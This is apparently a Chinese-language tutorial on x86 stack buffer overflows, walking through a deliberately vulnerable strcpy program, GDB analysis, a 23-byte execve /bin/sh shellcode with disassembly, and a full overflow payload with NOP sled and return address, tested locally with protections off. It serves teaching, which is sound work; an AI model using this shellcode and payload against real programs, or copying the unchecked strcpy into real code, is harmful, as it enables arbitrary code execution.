缓冲区溢出之 X86 堆栈溢出攻击

概述

缓冲区溢出中比较典型的一类是堆栈溢出漏洞。下面以 x86 为例,讲述基础堆栈溢出原理及其利用。

X86 堆栈溢出原理

函数调用约定(X86 cdecl 规范)

  • 参数从右向左依次压入堆栈.
  • 由调用者实现堆栈平衡。
  • 返回值存放于 EAX 寄存器中。

下面的内容将遵循该规范。

关于堆栈

一个程序要运行,首先会被加载到内存空间,下图为进程的地址空间分布。(图片来自网络)

代码段存储了用户程序的所有可执行代码,程序的全局变量或静态变量放在数据段,局部变量放在栈中,手动申请的对象则存放在堆中。
来重点看下程序是怎么实现函数调用的。

每个函数在堆栈内都会有一段自己的空间,又称函数的栈帧,用来保存现场及函数中的局部变量。

1
2
3
4
5
func1(param_1){
...
b = func2(param_2)
...
}

举个例子。当 func2 即将被调用时,会有如下操作:

  1. 从右向左依次将 func2 的参数压入堆栈.
  2. 保存下一条指令的内存地址,即函数的返回地址。当被调用函数 func2 执行完毕时,程序将从该地址继续执行。
  3. 开辟新的栈帧。

之后,PC 寄存器指向 func2 的函数入口。

在 func2 函数内部:

  1. 将 EBP 压入堆栈。
  2. 保存现场(将相关寄存器压入堆栈)
  3. 函数执行完毕后,恢复相关寄存器的值。
  4. POP 堆栈中的返回地址到 PC。

程序从返回地址处继续执行,成功完成函数调用。

堆栈溢出示例

1
2
3
4
5
6
7
8
9
10
11
12
13
# include <stdio.h>
# include <string.h>

void func(char *s) {
char buf[10];
strcpy(buf, s);
printf("%s", buf);
}

int main(int argc, char **argv) {
func(argv[1]);
return 0;
}

编译,运行(为了便于理解,暂时关闭栈保护)。

可以看到,当输入过长的字符串时,程序会报段错误异常退出。

GDB 调试

下面我们使用 gdb 对程序进行调试。推荐 GDB 插件:https://github.com/hugsy/gef

func 的反汇编代码如下。(使用 IDA 截图是为了好看…)

根据调用 strcpy() 函数的前两条指令可得参数 buf 的内存地址为 [ebp-0x12]

所以,当我们输入超过 0x12 字节,就可以覆盖 EBP 和函数返回地址。

如上图所示,我们已经成功劫持程序指针 EIP。

堆栈溢出漏洞利用

ShellCode 注入

ShellCode 是一串使用机器语言编写的漏洞利用代码,一般短小精悍。通过堆栈溢出成功劫持 PC 后,我们可以控制 PC 跳转到提前部署在堆栈中的 ShellCode 处,进而任意代码执行。该方法需要程序的堆栈空间有可执行权限。

下面是 linux X86 平台上的一段通过中断方式使用 execve 系统调用执行 /bin/sh 的 ShellCode 代码,只有 23 个字节。

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

execve() 为内核级系统调用,linux x86 下中断编号 0x80。其函数原型为:
int execve(const char filename,char const argv[ ],char * const envp[ ]);

第一个参数是执行文件的路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针结束,最后一个参数则为传递给执行文件的新环境变量数组。

上述 ShellCode 的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
0x00000000: xor eax, eax # eax 置零(NULL)
0x00000002: push eax # NULL 入栈,用作字符串结束
0x00000003: push 0x68732f2f # //sh 入栈
0x00000008: push 0x6e69622f # /bin 入栈
0x0000000d: mov ebx, esp # ebx寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
0x0000000f: push eax # NULL 入栈
0x00000010: push ebx # ebx 指针入栈
0x00000011: mov ecx, esp # ecx = ['/bin//sh', NULL],第二个参数
0x00000013: mov al, 0xb # execve() 系统调用号 11
0x00000015: int 0x80

构造如下输入,保证程序能跳转到 ShellCode 区域。

1
2
3
# 0x12 padding + 0x04 ebp + 0x04 ShellCode 起始地址 + nop 缓冲区 + ShellCode 代码

$'aaaaaaaaaaaaaaaaaabbbb\x60\xf5\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'

调试环境中利用结果如下,成功由堆栈溢出到本地命令执行。

总结

基于堆栈的典型缓冲区溢出的利用过程整体来看是比较简单的,缓冲区溢出漏洞的利用方式很多,ShellCode 也只是其中一种利用方式。而且为了便于讲解,本文关闭了缓冲区溢出缓解措施。

参考链接

[1] X86 ShellCode
http://shell-storm.org/shellcode/files/shellcode-827.php

0%